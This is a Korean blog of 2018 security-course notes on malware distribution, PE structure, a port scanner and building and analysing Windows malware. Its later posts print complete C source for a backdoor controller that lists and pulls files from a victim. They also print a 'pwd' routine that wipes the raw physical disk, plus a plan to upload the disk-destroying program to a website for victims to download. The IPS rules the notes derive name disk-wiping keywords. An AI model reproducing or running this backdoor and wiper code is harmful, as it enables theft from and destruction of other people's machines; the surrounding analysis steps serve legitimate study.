Saturday, December 29, 2018

악성코드배포 방법과 그 예시 이해

2018-12-12

악성코드배포 방법


  • 원격취약점 
IDS, IPS 원격취약점에 주로사용

pre))  
ms08-067 snb취약점으로 코드보내서 
1)원격취약점를 이용해 2)악성코드실행

    • 임의의 명령어실행
    • 임의의 코드실행

  • 실행파일 감염

    • 대표적인 예. virus

  • 트로이목마

    • Dropper

      • 정상프로그램+악성코드
      • 실행파일구조(실행파일+실행파일)=정적검사(문자열추출)만해도 발각

    • Downloader 

      • 정상실행파일+다운로드기능
      • 웹서버에 악성실행파일을 다운로드해서 실행하도록)
      • 행위기반, 정적검사에 발각위험다운 but, 인터넷이가능해야함



Dropper



  • 윈도우즈 실행파일 구조 (PE Format,File) (->exe,dll확장자는 PE구조사용)
[ 참고 ]
Windows- PE:32bit PE+:64bit //MZ 시작하면
Linux- ELF
DOS-COFF:16bite 윈도우에서 실행이 안됨



    • PEView ; 악성코드분석및 실행함을 인증
    • PEexplorer :   자세하게 분석가능 (txt.img)
(참고) 백신은 특정부분만 검사함 
*오픈소스백신: Clamwin

    • PEview





      • Machine : PE가능한 환경(플랫폼)

        • i386 : x86, 32bit

      • Sections :5





[ immunity debugger - m ]
00401000 pointer 같음



      • PE FILE- exe.dll
        • exe
          • IMAGE_FILE_EXECUTABLE_IMAGE라고 표현되어있으면  exe파일임
        • dll
          • IMAGE_FILE_DLL 표현




      • ENTRY POINT : 최초로 실행시킬 코드
(참고) RVA(Relative Virtual Address) : Image Base 기준으로 얼만큼 이동

        • 상세주소= RVA + Image Base


Entry point pFile 확인해서 
HxD에서 pFile 따라가서 
Entry Point 바꾸면 
Immunity 실행시 지정한 Entry Point에서 시작



IMAGE:  PE file 실행 ---(프로세스 실행)-->image

(=프로세스가 활동하는 메모리 공간 : VAS(Virtual Address Space))
하드에 있으면 PE file, 메모리에 있으면 Image



      • ASLR(Address Space Layout Randomization) 

        • 실행할 때마다 다른 주소로 매번 바뀜
        • 분석 및 해킹이 어려움 (win7도입) ///win7 ASLR 끄기가 있음




[ 리소스에 게임과 악성코드서버를 추가해서 실행 ->악성코드+프로그램 ]






Downloader


  • Resource Section
  • LockResource
  • Load

포트스캐닝하는 C언어 소스코드

2018-12-11

C++ Source Code

Port Scanninng

[ 참고 ]
raw socket : sin/sinack/ack 과정을  

  1. 하나의 포트로 스캐닝

    • [portScanner] [IP] [LowPort] [HighPort]
    • [argv0]  [argv1] [argv2]    [argv3] = [argc4]
    • atoi = ascii to integrate




cmd창의 명령어인 [portScanner] [IP] [LowPort] [HighPort]
실행하기 위해 cmd창으로 옮겨서 진행



 [ Wireshark ]
1205 포트에서 불특정 포트로 SYN가 계속 나감





열린포트가 없으므로 LISTENING
열린 포트를 발견하여 연결하면 ESTABLISHED



열린 포트 발견

cf) C소스코드에서 포트번호에 변수를 줘서
printf될 때 포트번호와 열림/닫힘을 표현하면 확인이 더욱 편할듯


열린 포트번호 확인위해 Wireshark
1209-135 포트의 SYN/SYN,ACK/ACK

 2. 여러개의 포트로 스캐닝


  • 속도 향상
  • 하나의 스레드로 sin날리면 오래걸림
    • 프로세스안에 multi Thread 사용  많은 multi thread 있으면 과부화
    • process  만들어서 정리
  • multi Thread ;windows
  • LWP(light weight Process) ; linux
  • multi process
  • multi Thread main thread: main(), WinMain()
  • create Thread : 함수를 thread  만든다
  • 함수이름(c언어) = 함수의 포인터 = 함수의 시작 주소

(참고) 이상탐지: 행위기반 분석, 탐지 //평판기반 분석, 탐지


포트1개에 스레드1개씩 할당하도록


tcp_sock = socket (argv3)을 이용하여 설정


전체 소스코드






Windows 악성코드 제작 및 분석_5

2018-12-07
  • C언어 함수


RegCreateKey

Create Registry Key

RegSetValue 

Registry Set Value



  • server.exe

    • process create
      • svchost.exe(/Windows) ; pid1900
    • 파일생성
      • cmd.exe : delete server.exe
    • 파일생성
      • msdjfd.com(/system32) && 지울수도 있어서 svchost.exe덮어쓰기
    • 파일생성
      • msmudu.com(/msagent) && svchost.exe 덮어쓰기
    • 파일생성
      • svchost.exe(/windows)
    • 파일생성
      • RegSetValue (msdjfd.com msmudu 반복해서 설정)
  


Thread Create


  • 악성코드 실행시 다중스레드발생





  • 악성코드 리버싱 (BinText 3.0.3)
    • 사용된 소스코드 확인차
    • 파일 읽어보고 대충파악->ftp인척하면서 read


코드파악 ] 
send-rcv-send-rcv-send-rev 



[ 하드디스크파괴하는 함수 부분]



사용된 소스코드



실행






    • 백도어 명령어 : "del"



      • server의 pc에 있는 파일을 삭제




함수삽입


  • Client




  • Server 





실행




Windows 악성코드 제작 및 분석_4

2018-12-06

제작한 악성코드 디버깅



[ Immunity Debugger ]
사용한 함수 및 메인함수



 IPS 탐지하는지 확인

가상의 네트워크를 구축하여 IPS로 백도어를 탐지하는지..



  • Webserver내에 server.exe(clshdd) Upload
    • 하드를 파괴하는 exe를 게시판에 올림

exe file is in hacker pc
->ftp from webserver then put in the /var/www/html/asdf
악성코드 업로드 확인


  • Victim가 웹사이트에 들어가 해당파일을 다운로드

    - At that time, figure out the rule 1 when victim downloads the program.


    • rule1  

      • 다운로드시 탐지
      • keyword : PhysicalDrive0, shutdown -r..

    • rule2  

      • 통신을 탐지(TCP 9000)
      • Keyword : get, put



악성코드 분석절차


  • 악성코드 수집

  • 정적분석

    • 가만히 지켜봄
    • bintext - 문자열추출
    • Dependency Walker - WS2.32.DLL(Winsock2.32.dll 내에 사용된 함수들을 보여줌)
    • Image=메모리에 로딩된 실행파일(=PE파일)

  • 동적분석 

    • : 프로세스의 활동을 모니터
    • Process Monitor - 악성코드를 실행시키면 프로세스를 보여줌



Process Explorer



  • 코드 리버싱
    • 뽑아내서 분석



Windows 악성코드 제작 및 분석_3

2018-12-05

Back Door를
연결하는 명령어 삽입

명령어 : dir', 'get', 'save'


  • dir : command 로 연결된 포트를 이용하여 c:\의 파일목록을 읽음
  • get : dir로 읽어진 파일목록중 파일을 읽고 저장
  • save : 원하는 파일명으로 저장

  • Client의 소스코드
    • 명령어 'dir'

// backdoor_for_hacker.cpp#include<winsock2.h>#include<stdlib.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")
SOCKET tcp_sock;
void CmdBack(){   char cmd[20], arg1[255], tcmd[280], buf[1000];   int retval;      do{       printf("Input Command(to backdoor): ");      scanf("%s %s", cmd,arg1);          if(strcmp(cmd,"close")==0){          closesocket(tcp_sock);          break;          }  if(strcmp(cmd,"dir")==0) { //dir 명령어 wsprintf(tcmd,"%s %s",cmd,arg1); //totalcmd(변수) printf  내용을 넣어준다 retval = send(tcp_sock,tcmd,strlen(tcmd),0);     if(retval==SOCKET_ERROR) printf("Send Command Error\n");        else {        printf("Send Command OK\n");        retval=recv(tcp_sock, buf, sizeof(buf),0);        buf[retval]='\0';        printf("===File List===\n");        printf("%s\n", buf);        }
 }     }while(TRUE);}
int ConnBack() { //백도어 연결 함수   int retval;   WSADATA wsa;   if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;   char back_ip[16];   int back_port;   printf("Input Backdoor IP address: ");   scanf("%s", back_ip);   printf("Input Backdoor Port number: ");   scanf("%d", &back_port);
   tcp_sock = socket(AF_INET, SOCK_STREAM, 0);   SOCKADDR_IN servaddr;   ZeroMemory(&servaddr, sizeof(servaddr));   servaddr.sin_family = AF_INET;   servaddr.sin_port = htons(back_port);   servaddr.sin_addr.s_addr = inet_addr(back_ip);   int retry_cnt=0;      do{      Sleep(1000);      retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));      retry_cnt++;      }while(retval==SOCKET_ERROR && retry_cnt <= 3 );   return retval;}
int main(void) {while(TRUE){   char cmd[20];   printf("Input command(help for Manual): ");   scanf("%s", cmd);      if(strcmp(cmd, "help")==0){ // help        printf("help for manual\n");        printf("connect for Connect to Backer\n");        printf("close Backdoor connection\n");       }         else if(strcmp(cmd, "connect")==0){ //connect            int result=ConnBack();            if(result == -1) printf("Fail to Connect!!\n");         else if(result == 0){            printf("Success Connect!!\n");            CmdBack();         }          }} 
}


결과



  • 문제 1. 일회성(1회이상 검색이 안된다)
  • 문제 2. 하위폴더의 목록은 나타내지 못한다.



  • 문제2. 해결

list1  사이즈를 5000으로 할당하였으나 
디렉토리리스트의 양이  이상일 경우 overflow될수 있어
동적할당을 주어 유연하게 만듬



  • 문제2. 결과


파일 목록이 전부 다 나옴





  •  문제1. 해결


[ Server의 소스코드 ]
while문의 반복하도록 함수를 삽입
while(True){}



  • 문제1. 결과





























Windows 함수들


  • CreateFile 예제1

    • 파일에 내용을 쓰기 목적으로 열기
    • 다른 프로세스가 열어서 읽는 것까지는 허용
    • 파일 없으면 만들어서 열고 있으면 실패
    • 함수 사용 예제
HANDLE hFile;
hFile = CreateFile("c:\\test.txt",GENERIC_WRITE, FILE_SHARE_READ, NULL,CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

  • CreateFile 예제2

    • 파일이 있으면 열고 없으면 새로 만들어서 열기
    • 파일에 내용을 읽기 목적으로 열기
    • 함수 사용 예제
HANDLE hFile;
hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ, NULL ,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);

  • CreateFile 예제3

    • 파일이 있으면 열고 없으면 실패
    • 함수 사용 예제
HANDLE hFile;
hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_WRITE, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);

  • 파일 읽기 (파일의  처음 부분부터 읽기)

    • test.txt 파일을 없으면 만들고 있으면 덮어씌워서라도 열어라.
    • 읽기 위해서
    • 다른 사람 읽는 것까지는 허용
    • 일반 파일 속성으로...
    • 함수 사용 예제
DWORD rbytes;
char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
ReadFile(hFile,buff,sizeof(buff),&rbytes,NULL);

  • 파일 읽기 원하는 위치부터 읽기

    • 파일의 첫부분에서 100바이트 뒤부터 읽기
    • 함수 사용 예제
DWORD rbytes;
char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ,
                     NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 100, NULL, FILE_BEGIN);
ReadFile(hFile, buff, sizeof(buff), &rbytes, NULL);

  • 파일 첫부분부터 기록하기

    • 파일을 열고나서 SetFilePointer함수를 사용하지 않고 바로 WriteFile을 사용하면 파일  부분부터 기록한다.
    • 함수 사용 예제
DWORD wbytes;
char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_WRITE, FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buff, sizeof(buff), &wBytes, NULL);

  • 파일 내용 추가

    • 파일의 뒤에 내용 추가하기
    • SetFilePointer  WriteFile 함께 사용
    • 함수 사용 예제
DWORD wbytes;
char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_WRITE, FILE_SHARE_READ,
                     NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, buff, sizeof(buff), &wBytes, NULL);
CloseHandle(hFile);
  • 파일 삭제
    • 파일 삭제하기
    • 함수 사용 예제
    DeleteFile("text.txt");



    • 명령어 'get'

[ 소스코드 추가 ]
CreateFile , WriteFile 함수 사용
'dir' 명령어로 읽어들인 파일리스트를
'get' 명령어로 파일목록 중에서 하나의 파일내용을 저장


실행
"boot.ini" 파일을 읽고
ayoungzzang.ini로 만들기(저장하기)

성공!


    • 하드파괴하는 명령어 'pwd'
      • 소스코드 추가

if(strcmp(cmd, "pwd")==0){    char trash[512];    int i=0,ret;    DWORD dwWrite;    ZeroMemory(trash,sizeof(trash));    HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0",       // OS 보통 0 HDD 설치되어 있음    GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,                      OPEN_EXISTING, 0, NULL);        for(i=1 ; i<=1000 ; i++) {        ret=WriteFile(hDevice, trash, sizeof(trash), &dwWrite, NULL);          }}


  • 전체소스코드
// backdoor_for_hacker.cpp
#include<winsock2.h>#include<stdlib.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")SOCKET tcp_sock;void CmdBack(){   char cmd[20], arg1[255], tcmd[280], buf[5000];   int retval;   do{      printf("Input Command(to backdoor): ");      scanf("%s %s", cmd, arg1);      if(strcmp(cmd,"close")==0){         closesocket(tcp_sock);         break;      }      if(strcmp(cmd,"dir")==0){         wsprintf(tcmd,"%s %s",cmd, arg1);         retval = send(tcp_sock, tcmd, strlen(tcmd), 0);                 if(retval == SOCKET_ERROR) printf("Send Command Error!!\n");         else {            printf("Send Command OK~!!\n");            retval = recv(tcp_sock, buf, sizeof(buf), 0);            buf[retval]='\0';            printf("===파일 목록 출력===\n");            printf("%s\n", buf);         }      }      if(strcmp(cmd, "get")==0){         wsprintf(tcmd,"%s %s",cmd, arg1);         retval = send(tcp_sock, tcmd, strlen(tcmd), 0);                 if(retval == SOCKET_ERROR) printf("Send Command Error!!\n");         else {            printf("Send Command OK~!!\n");            retval = recv(tcp_sock, buf, sizeof(buf), 0);            buf[retval]='\0';            printf("Input File name to Save: ");            char fname[255];            scanf("%s", fname);            HANDLE hFile;            hFile = CreateFile(fname, GENERIC_WRITE, FILE_SHARE_READ,               NULL,CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);            DWORD wBytes;            BOOL ret=WriteFile(hFile, buf, retval, &wBytes, NULL);                 }            } if(strcmp(cmd, "pwd")==0){      retval =send(tcp_sock, "pwd", 3, 0);      if(retval == SOCKET_ERROR) printf("Send Error!\n");      else printf("당신의 하드는 이제 날라갑니다!!!!!\n");     }   }while(TRUE);}int ConnBack() { //백도어 연결 함수   int retval;   WSADATA wsa;   if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;   char back_ip[16];   int back_port;   printf("Input Backdoor IP address: ");   scanf("%s", back_ip);   printf("Input Backdoor Port number: ");   scanf("%d", &back_port);   tcp_sock = socket(AF_INET, SOCK_STREAM, 0);   SOCKADDR_IN servaddr;   ZeroMemory(&servaddr, sizeof(servaddr));   servaddr.sin_family = AF_INET;   servaddr.sin_port = htons(back_port);   servaddr.sin_addr.s_addr = inet_addr(back_ip);   int retry_cnt=0;   do{      Sleep(1000);      retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));      retry_cnt++;   }while(retval==SOCKET_ERROR && retry_cnt <= 3 );   return retval;}int main(void) {while(TRUE){   char cmd[20];   printf("Input command(help for Manual): ");   scanf("%s", cmd);   if(strcmp(cmd, "help")==0){      printf("help for manual\n");      printf("connect for Connect to Backer\n");      printf("close Backdoor connection\n");   }   else if(strcmp(cmd, "connect")==0){      int result=ConnBack();      if(result == -1) printf("Fail to Connect!!\n");      else if(result == 0){         printf("Success Connect!!\n");         CmdBack();      }   }} return 0;}



[ pwd 실행 ]
서버 리부트




List

MobSF

MobSF는 오픈소스 모바일 앱 자동 보안 진단 프레임워크로 자동 분석 시스템 구축할 때 사용한다. 정정 및 동적 분석이 가능하며, Android, iOS, Windows에 대해 침투 테스트, 멀웨어 분석 및 보안 평가를 할 수 있다. 참고자료 필...